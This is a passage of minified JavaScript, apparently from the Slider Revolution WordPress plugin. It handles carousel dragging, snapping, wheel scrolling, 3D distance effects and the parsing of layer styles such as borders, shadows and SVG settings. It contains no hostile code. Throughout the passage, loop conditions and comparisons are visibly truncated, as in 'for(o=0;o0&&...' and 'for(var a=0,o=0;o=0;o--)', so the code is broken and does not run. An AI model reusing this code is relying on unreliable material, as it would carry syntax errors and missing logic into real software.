0===o.animInList&&(o.animInList=[]),o.draggableObj={trigger:t[e].c[0],type:o.translate,edgeResistance:.5,zIndexBoost:!1,cursor:"grab",activeCursor:"grabbing",allowContextMenu:!0,inertia:!0,throwResistance:o.snap?8e3:500,onPress:function(i){t.closestClass(i.target,"rs-nav-element")?(o.draggable.endDrag(),o.draggable.disable()):t[e].c.trigger("stoptimer"),o.focusedOnPress=o.focused,o.isPressed=!0,o.fromWheel=!1,o.cX=o.lerpX=this.pointerX,o.cY=o.lerpY=this.pointerY,o.tween&&o.tween.kill&&(o.tween.kill(),delete o.tween)},onClick:function(i){o.isPressed=!1,t.closestClass(i.target,"rs-nav-element")||t.closestClass(i.target,"rs-waction")||o.draggable.enabled()&&!1===t[e].carousel.stopOnClick&&t[e].c.trigger("starttimer")},onDragStart:function(){o.lerpSpeed=.1,o.lerp||(o.lerp=requestAnimationFrame(o.lerpHandler)),t.ISM&&o.forceBAlign&&("up"===this.getDirection()&&o.focused==o.slideamount-1||"down"===this.getDirection()&&0==o.focused?o.forceScroll=!0:o.forceScroll=!1)},onDrag:function(){o.cX=this.pointerX,o.cY=this.pointerY},snap:function(i){var a;return t.getLastPos(e),o.isPressed=!1,o.forceScroll&&o.forceBAlign?(a="up"===this.getDirection()?t[e].cpar.offset().top+t[e].module.height:t.document.scrollTop()-(window.innerHeight-t[e].cpar[0].getBoundingClientRect().top),t[e].modal.useAsModal||tpGS.gsap.to([window,"body"],{scrollTo:a}),o.focused!=o.slideamount-1||o.infinity?o.lastPos:o[o.wraplength]-o.totalWidth):(t.calculateSnap(e,i),i)}},o.draggable=tpGS.draggable.create(o.proxy,o.draggableObj)[0],t[e].c.one("revolution.slide.onchange",function(){i(e)})},positionCarousel:function(e){var i=t[e].carousel;if(i[i.sliderLength]=t[e].canv[i.length],i.draggable&&!i.draggable.isPressed){for(var a=0,o=0;o=0;o--)c-=i.arr[o][i.length]+i.space,i.arr[o].posX=c+d,i.arr[o][i.translate]=c,"h"===i.orientation?tpGS.gsap.set(i.arr[o].elem,{x:c}):tpGS.gsap.set(i.arr[o].elem,{y:c}),l+=i.arr[o][i.length]+i.space}else{var p=0;for(o=0;o0&&(l+=i.space),o==i.activeSlide&&(p+=l),i.arr[o].posX=l+s+d,i.arr[o][i.translate]=l+s+d,"h"===i.orientation?tpGS.gsap.set(i.arr[o].elem,{x:l+s+d}):tpGS.gsap.set(i.arr[o].elem,{y:l+s+d}),l+=i.arr[o][i.length];tpGS.gsap.set([i.proxy,i.follower],{x:s-p,y:s-p}),"h"===i.orientation?tpGS.gsap.set([t[e].slides],{x:"-="+p}):tpGS.gsap.set([t[e].slides],{y:"-="+p});for(o=0;o0||void 0!==i.arr[0].progress&&i.arr[0].progress<=i.maxVisibleItems/2&&!(i.arr[i.arr.length-1].progress<=i.maxVisibleItems/2)&&parseFloat(i.arr[i.arr.length-1][i.translate])>=i[i.wraplength],s=parseFloat(i.arr[i.arr.length-1][i.translate])=1;){var s=a.animInList.pop();a.focused!=s&&t.removeTheLayers(jQuery(t[e].slides[s]),e)}for(var n in t.callingNewSlide(e,t[e].slides[o].getAttribute("data-key"),!0,!0),t[e].c.trigger("revolution.nextslide.waiting"),i(e),a.focused!=a.oldfocused&&"all"!==a.showLayersAllTime&&(a.animInList.includes(a.focused.toString())||a.animInList.push(a.focused.toString()),t.animateTheLayers({slide:a.focused,id:e,mode:"start"}),t.animateTheLayers({slide:"individual",id:e,mode:t[e].carousel.allLayersStarted?"rebuild":"start"})),t[e].sbgs)t[e].sbgs.hasOwnProperty(n)&&void 0!==t[e].sbgs[n].bgvid&&0!==t[e].sbgs[n].bgvid.length&&(""+t[e].sbgs[n].skeyindex==""+a.focused?t.playBGVideo(e,t.gA(t[e].pr_next_slide[0],"key")):t.stopBGVideo(e,t[e].sbgs[n].key));a.oldfocused=a.focused}for(var l=t[e].slides[o].querySelectorAll(".rs-on-car"),d=0;d=0?"right":"left";var l=t.getNextSlide(e,r,o,!0,n<300);r=l.delta,s=l.overshoot,a.target=l.target}else a.target=i;if((!a.infinity&&!a.snap||!a.infinity&&"v"===a.orientation)&&(a.target<=a[a.wraplength]-a.totalWidth?a.target=a[a.wraplength]-a.totalWidth:a.target>=0&&!a.snap&&(a.target=0)),a.swiped=!0,a.overshoot&&s){tpGS.gsap.to(a,{duration:a.snap?.3:.5,lerpSpeed:.8}),s=Math.min(0===a.draggable[a.deltaT]?Math.abs(r)/20:Math.abs(a.draggable[a.deltaT])/2,a[a.wraplength]/4)*Math.sign(r);var d=Math.abs(s/100);a.time=Math.min(Math.max(d/10,a.speed/1e3*.6),a.speed/1e3),a.tween=tpGS.gsap.timeline({onComplete:function(){t.snapCompleted(e)}}),a.tween.to(a.proxy,{x:a.target+s,y:a.target+s,duration:a.time,ease:"power2.out"}).to(a.proxy,{x:a.target,y:a.target,duration:Math.min(2*a.time,.6),ease:a.easing.replace(".inOut",".out").replace(".in",".out")},"overshoot").to(a,{duration:Math.min(2*a.time,.6),lerpSpeed:1},"overshoot")}else d=Math.abs(r/100),a.time=Math.min(Math.max(d/10,a.speed/1e3*.6),a.speed/1e3),a.tween=tpGS.gsap.to(a.proxy,{x:a.target,y:a.target,duration:a.time,ease:a.easing.replace(".inOut",".out").replace(".in",".out"),onComplete:function(){t.snapCompleted(e)}}),tpGS.gsap.to(a,{duration:a.time,lerpSpeed:1})},carLerpHandler:function(e,i){var a=t[e].carousel;"skip"!==i&&(a.lerp=requestAnimationFrame(a.lerpHandler));var r=parseFloat(a.proxy._gsap[a.translate]),o=parseFloat(a.follower._gsap[a.translate]),s=o+(r-o)*a.lerpSpeed-o;"mousedrag"==t[e].parallax.type&&(a.delta=s,a.lerpX=a.lerpX+(a.cX-a.lerpX)*a.lerpSpeed,a.lerpY=a.lerpY+(a.cY-a.lerpY)*a.lerpSpeed,t[e].parallax.frame=window.requestAnimationFrame(t[e].parallax.parallaxHandler)),tpGS.gsap.set(t[e].canvas,{skewX:a.skewX*Math.max(-1,Math.min(1,s/100)),skewY:a.skewY*Math.max(-1,Math.min(1,s/100))}),"h"===a.orientation?(tpGS.gsap.set(a.follower,{x:"+="+s}),tpGS.gsap.set(a.arr,{x:"+="+s})):(tpGS.gsap.set(a.follower,{y:"+="+s}),tpGS.gsap.set(a.arr,{y:"+="+s})),t.swapCarouselSlides(e),t.applyDistanceEffect(e)},snapCompleted:function(e){var i=t[e].carousel;i.lerp=cancelAnimationFrame(i.lerp),i.scrollFrame=cancelAnimationFrame(i.scrollFrame),i.swiped=!1,tpGS.gsap.set(i.follower,{x:i.proxy._gsap[i.translate],y:i.proxy._gsap[i.translate]}),t.onThrowComplete(e)},applyDistanceEffect:function(e){var r=t[e].carousel,o=1/0,s=0,n=0;void 0===r.lastSlideProgress&&(r.lastSlideProgress=1);var l=r.startOffset;for(var d in r.startOffsetCache=r.startOffset,void 0===r.tempAlign&&(r.tempAlign=r.align),"v"!==r.orientation||r.infinity||r.justify||(l=r.startOffset+(r[r.wraplength]-r[r.slide_length]-r.startOffset)*(1-r.lastSlideProgress)),r.arr){var c=parseFloat(r.arr[d][r.translate])-l;if(r.infinity&&(c%=r.totalWidth),Math.abs(c)("left"===r.direction?.9:.1)&&!r.vertAlignDefault&&(tpGS.gsap.to(r,{lastSlideProgress:1,duration:.2}),r.vertAlignDefault=!0,r.vertAlignBottom=!1,r.tempAlign=r.align,a(e,r.align))),r.arr[d].sign=g;var h=r.arr[d].progress;h=h/Math.ceil(r.pDiv)*("center"===r.tempAlign?1:"start"===r.tempAlign?g:-g);var m=Math.min(r.arr[d].progress,1)/1,v=100-5*Math.round(r.arr[d].progress),f={};if(r.justify||"off"===r.spin)if(0===r.minScale||r.justify)f[r.translate]=r.arr[d][r.translate];else{var y=1-(r.vary_scale?h:m)*(1-r.minScale),w=r.offsetScale?r.arr[d].sign*(r[r.slide_length]+r.space-(r[r.slide_length]+r.space)*y)/2*r.arr[d].progress:r.arr[d].sign*(r[r.slide_length]-r[r.slide_length]*y)/2*r.arr[d].progress;f[r.translate]=r.arr[d][r.translate]-w,window.isSafari11&&(f.z=-150*(1-y)),f.scale=y}else f[r.translate]=l,"2d"===r.spin?(f.rotation=r.spinAngle*u*("h"===r.orientation?g:-g),"h"===r.orientation?f.transformOrigin="center "+r.spinR+"px 0":f.transformOrigin=r.spinR+"px center 0"):("h"===r.orientation?f.rotationY=r.spinAngle*r.arr[d].progress*-g:f.rotationX=r.spinAngle*r.arr[d].progress*g,f.transformOrigin="center center "+r.spinR+"px");f.opacity=1,r.justify||(0!==r.maxRotation&&(f.rotationY=r.maxRotation*(r.vary_rotation?h:m)*-g),f.opacity=1+(r.maxOpacity-1)*(r.vary_fade?h:m),h>r.edgeRatio?f.opacity=r.oRange(h):h<0?f.opacity=r.oRangeMin(h):1===r.maxOpacity&&(f.opacity=1)),f.zIndex=v,f.opacity>0?("visible"!==r.arr[d].elem.style.visibility&&(f.visibility="visible"),tpGS.gsap.set(r.arr[d].elem,f)):("hidden"!==r.arr[d].elem.style.visibility&&(f.visibility="hidden"),tpGS.gsap.set(r.arr[d].elem,{visibility:f.visibility,opacity:f.opacity}))}if(n!==r.closest){if(r.closest=n,s!==r.arr.length&&t.loadVisibleCarouselItems(e,!0,r.closest),r.draggable.isPressed){if(r.focused=r.closest,t[e].pr_next_key=r.focused,r.oldfocused=void 0===r.oldfocused?0:r.oldfocused,t[e].carousel.allLayersStarted?t.updateCarouselRows(e):t.carouselRowAdjustment(r,e,r.focused),"all"!==r.showLayersAllTime)for(r.animInList.includes(r.oldfocused.toString())||r.animInList.push(r.oldfocused.toString());r.animInList.length>=1;){var b=r.animInList.pop();r.focused!=b&&t.removeTheLayers(jQuery(t[e].slides[b]),e)}r.focused!=r.oldfocused&&("all"!==r.showLayersAllTime&&(r.animInList.includes(r.focused.toString())||r.animInList.push(r.focused.toString()),t.animateTheLayers({slide:r.focused,id:e,mode:"start"}),t.animateTheLayers({slide:"individual",id:e,mode:t[e].carousel.allLayersStarted?"rebuild":"start"})),i(e,!0),r.oldfocused=r.focused),t[e].c.trigger("revolution.nextslide.waiting")}for(var _ in t[e].sbgs)t[e].sbgs.hasOwnProperty(_)&&void 0!==t[e].sbgs[_].bgvid&&0!==t[e].sbgs[_].bgvid.length&&""+t[e].sbgs[_].skeyindex!=""+r.focused&&t.stopBGVideo(e,t[e].sbgs[_].key)}},getCarActiveSlide:function(e){var i,a=t[e].carousel,r=999999,o=0;for(var s in a.arr){var n;if(a.arr.hasOwnProperty(s))n="center"===t[e].carousel.align?Math.abs(parseFloat(a.arr[s][a.translate])-(a[a.wraplength]-a.arr[s][a.length])/2):"start"===t[e].carousel.align?Math.abs(parseFloat(a.arr[s][a.translate])):Math.abs(parseFloat(a.arr[s][a.translate])-(a[a.wraplength]-a.arr[s][a.length])),a.vertAlignBottom&&(n=Math.abs(parseFloat(a.arr[s][a.translate])-(a[a.wraplength]-a.arr[s][a.length]))),n=t[e].slideamount?l-t[e].slideamount+0:l,d=d>=t[e].slideamount?d-t[e].slideamount+0:d,l=l<0?t[e].slideamount+l:l,d=d<0?t[e].slideamount+d:d,o.push(t[e].slides[l]),l!==d&&o.push(t[e].slides[d]),r.arr)for(var c=0;c=Math.abs(i)||void 0===i&&t[e].slides[n.focused]===n.trackArr[s].elem){i=l;break}c=l;var h=t.getNext(e,a,l,s,void 0===r);(u=h.breakLoop)||(l=h.tempDelta,s=h.trackIndex)}var m=n.lastPos+i;return r&&n.focusedOnPress!=n.focusedPreSnap&&(m=Math.abs(p+n.lastPos-m)<=Math.abs(p+n.lastPos-(c+n.lastPos))?m:c+n.lastPos),d&&(m=n.lastPos,i=-n.arr[n.closestArr][n.translate]),{target:m,overshoot:!0,delta:i,trackIndex:s}},getNext:function(e,i,a,r,o){var s=t[e].carousel,n="right"===i?1:-1,l=!1;return"start"===s.align&&"left"===i?a+=(s.trackArr[r][s.length]+s.space)*n:"center"===s.align?a+=(s.trackArr[r][s.length]+s.space)/2*n:"end"===s.align&&"right"===i&&(a+=(s.trackArr[r][s.length]+s.space)*n),"right"===i?--r<0&&(r=s.infinity?s.trackArr.length-1:r+1,s.infinity||(l=!0)):++r>=s.trackArr.length&&(r=s.infinity?0:r-1,s.infinity||(l=!0)),l||("start"===s.align&&"right"===i&&(a+=(s.trackArr[r][s.length]+s.space)*n),"center"===s.align?a+=(s.trackArr[r][s.length]+s.space)/2*n:"end"===s.align&&"left"===i&&(a+=(s.trackArr[r][s.length]+s.space)*n)),{tempDelta:a,trackIndex:r,breakLoop:l}},getCarDir:function(e,i,a){var r=t[e].carousel,o=a-i,s="right";r.sameSlide=!1;var n=0,l=0;if(r.infinity){for(var d=i;d!=a;)l+=1,d=++d>=r.slideamount?0:d;for(d=i;d!=a;)n+=1,d=--d<0?r.slideamount-1:d;s=l<=n?"left":"right"}else r.infinity||(s=a-i>=0?"left":"right",l=Math.abs(a-i),0===o&&(s="right",r.sameSlide=!0));return r.steps=l<=n?l:n,r.direction=s,s},getLastPos:function(e){var i=t[e].carousel;if(i.trackArr){for(var a=0,r=0,o=0;o=0&&!i.snap&&(i.target=0)),i.lerpSpeed=1,i.fromWheel=!1,i.tween&&i.tween.kill&&(i.tween.kill(),delete i.tween),i.tween=tpGS.gsap.to(i.proxy,{x:i.target,y:i.target,ease:i.easing,duration:i.speed/1e3+(i.steps>=2?(i.steps-1)*i.speed/2e3:0),onComplete:function(){i.lerp=cancelAnimationFrame(i.lerp),i.scrollFrame=cancelAnimationFrame(i.scrollFrame),t.carLerpHandler(a,"skip"),i.activeSlide=i.closestArr,t.snapCompleted(a)}}),i.lerp=cancelAnimationFrame(i.lerp),i.scrollFrame=cancelAnimationFrame(i.scrollFrame),i.lerp||(i.lerp=requestAnimationFrame(i.lerpHandler))}},carScrollTicker:function(e){var i=t[e].carousel;i.scrollFrame=requestAnimationFrame(i.scrollTicker);var a=parseFloat(i.proxy._gsap[i.translate]),r=a+.5*(i.scrollProxy-a),o=r-a;tpGS.gsap.set(i.proxy,{[i.translate]:r}),Math.abs(o)<.03&&(i.scrollFrame=cancelAnimationFrame(i.scrollFrame),i.lerp=cancelAnimationFrame(i.lerp),i.activeSlide=i.closestArr,t.snapCompleted(e))},scrollCar:function(e,i,a){var r=t[e].carousel;r.scrollFrame=cancelAnimationFrame(r.scrollFrame),r.lerp=cancelAnimationFrame(r.lerp),tpGS.gsap.to(r,{lerpSpeed:1}),r.fromWheel=!0;var o,s=Math.round(parseFloat(r.proxy._gsap[r.translate]));if(r.tween&&r.tween.kill&&(r.tween.kill(),delete r.tween),1==a&&r.focused==r.slideamount-1&&s<=r[r.wraplength]-r.totalWidth&&!r.infinity||-1==a&&0==r.focused&&s>=0&&!r.infinity)return o=1==a?t[e].cpar.offset().top+t[e].module.height:t.document.scrollTop()-(window.innerHeight-t[e].cpar[0].getBoundingClientRect().top),void(t[e].modal.useAsModal||tpGS.gsap.to([window,"body"],{scrollTo:o}));var n=s+-8*i;(!r.infinity&&!r.snap||!r.infinity&&"v"===r.orientation)&&(n<=r[r.wraplength]-r.totalWidth?n=r[r.wraplength]-r.totalWidth:n>=0&&!r.snap&&(n=0)),r.tween=tpGS.gsap.to(r,{scrollProxy:n,duration:.5,ease:r.easing}),r.scrollFrame=requestAnimationFrame(r.scrollTicker),r.lerp||(r.lerp=requestAnimationFrame(r.lerpHandler))},defineCarouselElements:function(e){var i=t[e].carousel;i.infbackup=i.infinity,i.maxVisiblebackup=i.maxVisibleItems,i.slide_offset="none",i.slide_offset=0,i.cached_slide_offset=0,i.wrap=jQuery(t[e].canvas[0].parentNode),0!==i.maxRotation&&("3D"!==t[e].parallax.type&&"3d"!==t[e].parallax.type||tpGS.gsap.set(i.wrap,{perspective:"1600px",transformStyle:"preserve-3d"}))},setCarouselDefaults:function(e,i,a){var r=t[e].carousel;if(r.stretchCache=void 0===r.stretchCache?r.stretch:r.stretchCache,r.stretch=!!t[e].infullscreenmode||r.stretchCache,r.slide_width=Math.round(!0!==r.stretch&&"v"!==r.orientation?t[e].gridwidth[t[e].level]*(0===t[e].CM.w?1:t[e].CM.w):t[e].canv.width),r.slide_height=Math.round(!0!==r.stretch?t[e].infullscreenmode?t.getWinH(e)-t.getFullscreenOffsets(e):t[e].gridheight[t[e].level]*(0===t[e].CM.w?1:t[e].CM.w):t[e].canv.height),r.ratio=r.slide_width/r.slide_height,r.len=t[e].slides.length,r.maxwidth=t[e].slideamount*r.slide_width,r.maxheight=t[e].slideamount*r.slide_height,1!=r.justify&&r.maxVisiblebackup>r.len&&(r.maxVisibleItems=r.len%2?r.len:r.len+1),r.wrapwidth=r.maxVisibleItems*r.slide_width+(r.maxVisibleItems-1)*r.space,r.wrapheight=r.maxVisibleItems*r.slide_height+(r.maxVisibleItems-1)*r.space,r.wrapwidth="auto"!=t[e].sliderLayout?r.wrapwidth>t[e].canv.width?t[e].canv.width:r.wrapwidth:r.wrapwidth>t[e].module.width?0!==t[e].module.width?t[e].module.width:t[e].canv.width:r.wrapwidth,r.wrapheight="auto"!=t[e].sliderLayout?r.wrapheight>t[e].canv.height?t[e].canv.height:r.wrapheight:r.wrapheight>t[e].module.height?0!==t[e].module.height?t[e].module.height:t[e].canv.height:r.wrapheight,!0===r.justify){r.slide_height=Math.round("fullscreen"===t[e].sliderLayout?t[e].module.height:t[e].gridheight[t[e].level]),r.slide_widths=[],r.slide_heights=[],r.slide_widthsCache=void 0===r.slide_widthsCache?[]:r.slide_widthsCache,r.slide_heightsCache=void 0===r.slide_heightsCache?[]:r.slide_heightsCache,r.maxwidth=0;for(var o=0;o=r.maxwidth)&&r.infbackup,r.forceBAlign&&r.slide_height<.6*r.wrapheight&&r.wrapwidth0&&tpGS.gsap.set(t[e].canvas,{left:0})}),r.cacheWrapObj=jQuery.extend(!0,{},l)),r.inneroffset="right"===r.horizontal_align?r.wrapwidth-r.slide_width:0,r.windhalf="auto"===t[e].sliderLayout?t[e].module.width/2:t.winW/2}r.lastWrapwidth===r.wrapwidth&&r.lastWrapheight===r.wrapheight||window.requestAnimationFrame(function(){t.positionCarousel(e)})}});var i=function(e,i){var a=t[e].carousel,r=i&&t[e].slides[t[e].pr_next_key]?jQuery(t[e].slides[t[e].pr_next_key]):t[e].pr_next_slide;t[e].c.trigger("revolution.slide.carouselchange",{slider:e,slideIndex:parseInt(t[e].pr_active_key,0)+1,slideLIIndex:t[e].pr_active_key,slide:r,currentslide:r,prevSlideIndex:void 0!==t[e].pr_lastshown_key&&parseInt(t[e].pr_lastshown_key,0)+1,prevSlideLIIndex:void 0!==t[e].pr_lastshown_key&&parseInt(t[e].pr_lastshown_key,0),prevSlide:void 0!==a.oldfocused&&t[e].slides[a.oldfocused]})},a=function(e,i){var a=t[e].carousel;void 0!==e&&void 0!==a&&(a.pDiv="center"===i?a.maxVisibleItems/2:a.maxVisibleItems,a.edgeRatio=Math.floor(a.pDiv-("center"===i?0:1))/Math.ceil(a.pDiv),1===a.maxVisibleItems&&(a.edgeRatio=1),a.oEdge=1===a.maxOpacity?1:a.vary_fade?1+(a.maxOpacity-1)*a.edgeRatio:a.maxOpacity,a.oEdge=1===a.maxVisibleItems?a.maxOpacity:a.oEdge,a.oRange=a.maxVisibleItems>1?tpGS.gsap.utils.mapRange(a.edgeRatio,1,a.oEdge,0):tpGS.gsap.utils.mapRange(1,1.1,a.oEdge,0),a.oRangeMin=tpGS.gsap.utils.mapRange(-1/a.maxVisibleItems,-1.1/a.maxVisibleItems,1,0))},r=function(e){var i=t[e].carousel;if(void 0!==e&&void 0!==i){tpGS.gsap.set([i.proxy,i.follower],{x:"+=0",y:"+=0"}),i.arr=[],i.trackArr=[];for(var a=0;a0&&void 0!==o[e]._L[i].esginside.esredraw&&o[e]._L[i].esginside.esredraw()},updateMiddleZonesAndESG:function(e){var t,i=o[e].pr_processing_key||o[e].pr_active_key||0;if(o[e].middleZones&&o[e].middleZones.length>0&&void 0!==o[e].middleZones[i])for(t=0;t0)for(t=0;t0){if(void 0!==o[e].rowzones[s])for(var l=0;l0)for(o[e].rowMiddleHeights.static=0,l=0;l5&&(i=o[e].rowHeights.cache[o[e].rowHeights.cache.length-1]===i?o[e].rowHeights.cache[o[e].rowHeights.cache.length-2]:o[e].rowHeights.cache[o[e].rowHeights.cache.length-1],c=o[e].rowHeights.tz):d=[],{cur:i,last:a,cache:d,tz:c}},getGridOffset:function(e,t,i,a){var r="grid"===i?o[e].canv.width:"carousel"!==o[e].sliderType||a?o[e].canv.width:o[e].carousel.slide_width,s=o[e].useFullScreenHeight?o[e].module.height:"grid"===i?o[e].content.height:"carousel"!==o[e].sliderType||a?o[e].module.height:o[e].canv.height,n="slide"===i||"carousel"==o[e].sliderType&&"v"==o[e].carousel.orientation?0:Math.max(0,"fullscreen"==o[e].sliderLayout?o[e].module.height/2-o.iHE(e)*(o[e].keepBPHeight?1:o[e].CM.h)/2:o[e].autoHeight||null!=o[e].minHeight&&o[e].minHeight>0||o[e].keepBPHeight?o[e].canv.height/2-o.iHE(e)*o[e].CM.h/2:0),l="slide"===i?0:Math.max(0,"carousel"===o[e].sliderType&&"v"!==o[e].carousel.orientation?0:o[e].canv.width/2-o.iWA(e,t)*o[e].CM.w/2);return"slide"!==i&&"carousel"===o[e].sliderType&&a&&void 0!==o[e].carousel&&void 0!==o[e].carousel.horizontal_align&&(l=Math.max(0,"center"===o[e].carousel.horizontal_align?0+(o[e].module.width-o.iWA(e,"static")*o[e].CM.w)/2:"right"===o[e].carousel.horizontal_align?o[e].module.width-o[e].gridwidth[o[e].level]*o[e].CM.w:l)),[r,s,l,n]},initLayer:function(e){var t,i,a,r=e.id,s=e.skey;for(var n in o[r].layers[e.skey])if(o[r].layers[e.skey].hasOwnProperty(n)){var l=o[r].layers[e.skey][n],d=jQuery(l),c=o.gA(l,"initialised"),p=c?o[r]._L[l.id]:d.data();if("individual"===e.skey&&(p.slideKey=void 0===p.slideKey?o.gA(d.closest("rs-slide")[0],"key"):p.slideKey,p.slideIndex=void 0===p.slideIndex?o.getSlideIndex(r,p.slideKey):p.slideIndex,e.slideIndex=p.slideIndex,s=p.slideKey),void 0===c){if(o.revCheckIDS(r,l),o[r]._L[l.id]=p,p.ford=void 0===p.ford?"frame_0;frame_1;frame_999":p.ford,p.ford=";"==p.ford[p.ford.length-1]?p.ford.substring(0,p.ford.length-1):p.ford,p.ford=p.ford.split(";"),void 0!==p.clip)for(t in p.clipPath={use:!1,origin:"l",type:"rectangle"},p.clip=p.clip.split(";"),p.clip)p.clip.hasOwnProperty(t)&&("u"==(i=p.clip[t].split(":"))[0]&&(p.clipPath.use="true"==i[1]),"o"==i[0]&&(p.clipPath.origin=i[1]),"t"==i[0]&&(p.clipPath.type=i[1]));let n;if(p.frames=k(p,r),p.caches={},p.OBJUPD={},p.c=d,p.p=o[r]._Lshortcuts[l.id].p,p.lp=p.reqWrp.loop?o[r]._Lshortcuts[l.id].lp:void 0,p.m=p.reqWrp.mask?o[r]._Lshortcuts[l.id].m:void 0,p.triggercache=void 0===p.triggercache?"reset":p.triggercache,p.rsp_bd=void 0===p.rsp_bd?"column"===p.type||"row"===p.type?"off":"on":p.rsp_bd,p.rsp_o=void 0===p.rsp_o?"on":p.rsp_o,p.basealign=void 0===p.basealign?"grid":p.basealign,p.group="group"!==p.type&&null!==(n=o.closestNode(d[0],"RS-GROUP"))||"group"===p.type&&null!==(n=o.closestNode(d[0].parentNode,"RS-GROUP"))?"group":"column"!==p.type&&null!==(n=o.closestNode(d[0],"RS-COLUMN"))?"column":"row"!==p.type&&null!==(n=o.closestNode(d[0],"RS-ROW"))?"row":void 0,p._lig=null!=n?jQuery(n):void 0,p._ligid=void 0!==p._lig?p._lig[0].id:void 0,p._column="RS-COLUMN"===d[0].tagName?jQuery(o.closestNode(d[0],"RS-COLUMN-WRAP")):"none",p._row="RS-COLUMN"===d[0].tagName&&jQuery(o.closestNode(d[0],"RS-ROW")),p._ingroup="group"===p.group,p._incolumn="column"===p.group,p._inrow="row"===p.group,p.fsom="true"==p.fsom||1==p.fsom,p.fullinset=""+p.fullinset=="true",p.position=void 0!==p.pos?"r"==p.pos?"relative":"absolute":p._incolumn?"relative":"absolute",(p._ingroup||p._incolumn)&&p._lig[0].className.indexOf("rs-sba")>=0&&(!1!==p.animationonscroll||void 0===p.frames.loop)&&!0!==p.animOnScrollForceDisable&&(p.animationonscroll=!0,d[0].className+=" rs-sba",o[r].sbas[s][l.id]=d[0]),p.animOnScrollRepeats=0,p._isgroup="RS-GROUP"===d[0].tagName,p.type=p.type||"none","row"===p.type&&(void 0===p.cbreak&&(p.cbreak=2),void 0===p.zone&&(p.zone=o.closestNode(d[0],"RS-ZONE"),p.zone=null!==p.zone&&void 0!==p.zone?p.zone.className:"")),p.esginside=jQuery(d[0].getElementsByClassName("esg-grid")[0]),p._isnotext=-1!==jQuery.inArray(p.type,["video","image","audio","shape","row","group"]),p._mediatag="html5"==p.audio?"audio":"video",p.img=d.find("img"),p.deepiframe=o.getByTag(d[0],"iframe"),p.deepmedia=o.getByTag(d[0],p._mediatag),p.layertype="image"===p.type?"image":d[0].className.indexOf("rs-layer-video")>=0||d[0].className.indexOf("rs-layer-audio")>=0||p.deepiframe.length>0&&(p.deepiframe[0].src.toLowerCase().indexOf("youtube")>0||p.deepiframe[0].src.toLowerCase().indexOf("vimeo")>0)||p.deepmedia.length>0?"video":"html",p.deepiframe.length>0&&o.sA(p.deepiframe[0],"layertype",p.layertype),"column"===p.type&&p.cbgexists&&(p.cbg=jQuery(o.getByTag(p.p[0],"RS-COLUMN-BG")[0]),p.cbgmask=jQuery(o.getByTag(p.p[0],"RS-CBG-MASK-WRAP")[0])),p._slidelink=d[0].className.indexOf("slidelink")>=0,p._isstatic=d[0].className.indexOf("rs-layer-static")>=0,p.slidekey=p._isstatic?"staticlayers":s,p._togglelisteners=d[0].getElementsByClassName("rs-toggled-content").length>0,"text"===p.type&&(-1!==p.c[0].innerHTML.indexOf("{{total_slide_count}}")&&(p.c[0].innerHTML=p.c[0].innerHTML.replace("{{total_slide_count}}",o[r].realslideamount)),p.c[0].innerHTML.indexOf("{{current_slide_index}}")>=0))if(p._isstatic)p.metas=p.metas||{},p.metas.csi={},p.c[0].innerHTML=p.c[0].innerHTML.replace("{{current_slide_index}}",""+o[r].realslideamount+""),p.metas.csi.c=p.c[0].getElementsByTagName("CUSLI")[0];else{var g=parseInt(e.slideIndex)+1;p.c[0].innerHTML=p.c[0].innerHTML.replace("{{current_slide_index}}",(g<10&&o[r].realslideamount>9?"0":"")+g)}if(p.bgcol=void 0===p.bgcol?d[0].style.background.indexOf("gradient")>=0?d[0].style.background:d[0].style.backgroundColor:p.bgcol,p.bgcol=""===p.bgcol?"rgba(0, 0, 0, 0)":p.bgcol,p.bgcol=0===p.bgcol.indexOf("rgba(0, 0, 0, 0)")&&p.bgcol.length>18?p.bgcol.replace("rgba(0, 0, 0, 0)",""):p.bgcol,p.zindex=void 0===p.zindex?parseInt(d[0].style.zIndex):parseInt(p.zindex),p._isgroup&&(p.frames.frame_1.timeline.waitoncall&&(p.childrenAtStartNotVisible=!0),p.pVisRequest=0),p._togglelisteners&&d.on("click",function(){o.swaptoggleState([this.id])}),void 0!==p.border)for(t in p.border=p.border.split(";"),p.bordercolor="transparent",p.border)if(p.border.hasOwnProperty(t))switch((i=p.border[t].split(":"))[0]){case"boc":p.bordercolor=i[1];break;case"bow":p.borderwidth=o.revToResp(i[1],4,0);break;case"bos":p.borderstyle=o.revToResp(i[1],4,0);break;case"bor":p.borderradius=o.revToResp(i[1],4,0)}if("svg"===p.type&&(p.svg=d.find("svg"),p.svgI=f(p.svgi,r),p.svgPath=p.svg.find(p.svgI.svgAll?"path, circle, ellipse, line, polygon, polyline, rect":"path"),p.svgH=void 0!==p.svgi&&-1===p.svgi.indexOf("oc:t")?f(p.svgh,r):{}),void 0!==p.btrans){var u=p.btrans;for(t in p.btrans={rX:0,rY:0,rZ:0,o:1},u=u.split(";"))if(u.hasOwnProperty(t))switch((i=u[t].split(":"))[0]){case"rX":p.btrans.rX=i[1];break;case"rY":p.btrans.rY=i[1];break;case"rZ":p.btrans.rZ=i[1];break;case"o":p.btrans.o=i[1];break;case"iosfx":p.iOSFix="default"==i[1]?"d":"r"==i[1]?"rotationX":"p"==i[1]?"d":i[1]}}if(void 0!==p.tsh)for(t in p.tshadow={c:"rgba(0,0,0,0.25)",v:0,h:0,b:0},p.tsh=p.tsh.split(";"),p.tsh)if(p.tsh.hasOwnProperty(t))switch((i=p.tsh[t].split(":"))[0]){case"c":p.tshadow.c=i[1];break;case"h":p.tshadow.h=i[1];break;case"v":p.tshadow.v=i[1];break;case"b":p.tshadow.b=i[1]}if(void 0!==p.tst)for(t in p.tstroke={c:"rgba(0,0,0,0.25)",w:1},p.tst=p.tst.split(";"),p.tst)if(p.tst.hasOwnProperty(t))switch((i=p.tst[t].split(":"))[0]){case"c":p.tstroke.c=i[1];break;case"w":p.tstroke.w=i[1]}if(void 0!==p.bsh)for(t in p.bshadow={e:"c",c:"rgba(0,0,0,0.25)",v:0,h:0,b:0,s:0},p.bsh=p.bsh.split(";"),p.bsh)if(p.bsh.hasOwnProperty(t))switch((i=p.bsh[t].split(":"))[0]){case"c":p.bshadow.c=i[1];break;case"h":p.bshadow.h=i[1];break;case"v":p.bshadow.v=i[1];break;case"b":p.bshadow.b=i[1];break;case"s":p.bshadow.s=i[1];break;case"e":p.bshadow.e=i[1]}if(void 0!==p.dim)for(t in 